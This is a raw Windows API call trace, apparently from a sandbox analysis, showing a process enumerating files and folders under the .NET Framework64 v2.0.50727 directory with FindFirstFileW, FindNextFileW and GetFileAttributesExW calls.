	[0087.953] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93af2da7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93af2da7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93af2da7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceProcess.dll", cAlternateFileName="")) returned 1
	[0087.953] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1be73e, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbd1be73e, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa3a513bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.tlb", cAlternateFileName="")) returned 1
	[0087.953] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2ef226, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbd2ef226, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa3a7751b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x45200, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Transactions.dll", cAlternateFileName="")) returned 1
	[0087.953] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97c1c85f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97c1c85f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97dbf782, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x504000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.dll", cAlternateFileName="")) returned 1
	[0087.953] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d53a0a3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d53a0a3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xcc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Mobile.dll", cAlternateFileName="")) returned 1
	[0087.953] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdaab90a, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbdaab90a, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa41292a1, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.RegularExpressions.dll", cAlternateFileName="")) returned 1
	[0087.953] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0ed0e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0ed0e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b113241, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xcd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Services.dll", cAlternateFileName="")) returned 1
	[0087.953] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdc74966, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbdc74966, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa47db027, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.tlb", cAlternateFileName="")) returned 1
	[0087.953] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f20cb61, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f20cb61, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f27ef82, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Forms.dll", cAlternateFileName="")) returned 1
	[0087.953] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe052cd8, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbe052cd8, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa4ad4b7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Forms.tlb", cAlternateFileName="")) returned 1
	[0087.953] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c5b2c3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89c5b2c3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89ebc8c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.XML.dll", cAlternateFileName="")) returned 1
	[0087.954] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe372979, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbe372979, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa4c5192b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x18348, dwReserved0=0x0, dwReserved1=0x0, cFileName="TLBREF.DLL", cAlternateFileName="")) returned 1
	[0087.954] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb870168, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb870168, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa5564c91, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="UninstallCommon.sql", cAlternateFileName="UNINST~1.SQL")) returned 1
	[0087.954] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde8a3b1c, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xde8a3b1c, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa558adef, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1afd, dwReserved0=0x0, dwReserved1=0x0, cFileName="UninstallMembership.sql", cAlternateFileName="UNINST~2.SQL")) returned 1
	[0087.954] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde8efdd6, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xde8efdd6, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa558adef, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x27d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="UninstallPersistSqlState.sql", cAlternateFileName="UNINST~3.SQL")) returned 1
	[0087.954] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddded8f4, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xddded8f4, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa55b0f4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1d41, dwReserved0=0x0, dwReserved1=0x0, cFileName="UninstallPersonalization.sql", cAlternateFileName="UNINST~4.SQL")) returned 1
	[0087.954] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb9086dc, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb9086dc, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa5623367, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1298, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnInstallProfile.SQL", cAlternateFileName="UN6C09~1.SQL")) returned 1
	[0087.954] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda7eca15, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xda7eca15, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa5623367, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x16ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="UninstallRoles.sql", cAlternateFileName="UN6B2E~1.SQL")) returned 1
	[0087.954] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdda81999, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdda81999, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa56494c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x25db, dwReserved0=0x0, dwReserved1=0x0, cFileName="UninstallSqlState.sql", cAlternateFileName="UN6AC0~1.SQL")) returned 1
	[0087.954] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaac03fc, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdaac03fc, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa56494c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2e15, dwReserved0=0x0, dwReserved1=0x0, cFileName="UninstallSqlStateTemplate.sql", cAlternateFileName="UN4D3B~1.SQL")) returned 1
	[0087.954] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaeeaa28, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdaeeaa28, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa566f623, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xbbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="UninstallWebEventSqlProvider.sql", cAlternateFileName="UNEB66~1.SQL")) returned 1
	[0087.955] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.956] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\1033" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\1033"), fInfoLevelId=0x0, lpFileInformation=0x125c7cc8 | out: lpFileInformation=0x125c7cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7fdd12, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfedcb1c8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfedcb1c8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.958] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\1033" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.958] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\1033\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7fdd12, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfedcb1c8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfedcb1c8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.958] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.958] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\1033\\CvtResUI.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\1033\\cvtresui.dll"), fInfoLevelId=0x0, lpFileInformation=0x125c7e58 | out: lpFileInformation=0x125c7e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee28ba1, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbee28ba1, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x8e76a949, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2740)) returned 1
	[0087.959] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\1033\\alinkui.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\1033\\alinkui.dll"), fInfoLevelId=0x0, lpFileInformation=0x125c7ea8 | out: lpFileInformation=0x125c7ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbed9062d, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbed9062d, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x8cbe4c5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6140)) returned 1
	[0087.959] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\1033\\cscompui.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\1033\\cscompui.dll"), fInfoLevelId=0x0, lpFileInformation=0x125c7ef8 | out: lpFileInformation=0x125c7ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbeddc8e7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbeddc8e7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x8cf9ce89, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x22940)) returned 1
	[0087.960] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\1033\\vbc7ui.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\1033\\vbc7ui.dll"), fInfoLevelId=0x0, lpFileInformation=0x125c7f48 | out: lpFileInformation=0x125c7f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee74e5b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbee74e5b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x8f07dcaf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2e340)) returned 1
	[0087.960] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles"), fInfoLevelId=0x0, lpFileInformation=0x125c7f98 | out: lpFileInformation=0x125c7f98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe823e6c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfef47f4c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfef47f4c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.960] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.960] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe823e6c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfef47f4c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfef47f4c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.964] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.964] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig"), fInfoLevelId=0x0, lpFileInformation=0x125ce878 | out: lpFileInformation=0x125ce878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe849fc6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee8988a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee8988a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.965] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.965] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe849fc6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee8988a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee8988a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.967] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.967] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\AppConfigHome.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\appconfighome.aspx"), fInfoLevelId=0x0, lpFileInformation=0x125cebe8 | out: lpFileInformation=0x125cebe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc70b52, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xddc70b52, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x908e3ce7, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1fa4)) returned 1
	[0087.969] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\AppSetting.ascx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\appsetting.ascx"), fInfoLevelId=0x0, lpFileInformation=0x125cec38 | out: lpFileInformation=0x125cec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddce2f69, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xddce2f69, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90909e45, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xe95)) returned 1
	[0087.969] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\app_localresources"), fInfoLevelId=0x0, lpFileInformation=0x125cec88 | out: lpFileInformation=0x125cec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe849fc6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee63730, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee63730, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.970] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.970] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe849fc6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee63730, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee63730, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.971] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.972] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\AppConfigHome.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\app_localresources\\appconfighome.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x125cef58 | out: lpFileInformation=0x125cef58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf7aa4cd, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf7aa4cd, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90766f3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xede)) returned 1
	[0087.973] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\AppSetting.ascx.resx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\app_localresources\\appsetting.ascx.resx"), fInfoLevelId=0x0, lpFileInformation=0x125cefa8 | out: lpFileInformation=0x125cefa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf868b9e, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf868b9e, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x907d9355, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x557)) returned 1
	[0087.973] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\CreateAppSetting.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\app_localresources\\createappsetting.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x125ceff8 | out: lpFileInformation=0x125ceff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf8dafb5, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf8dafb5, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90825611, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x603)) returned 1
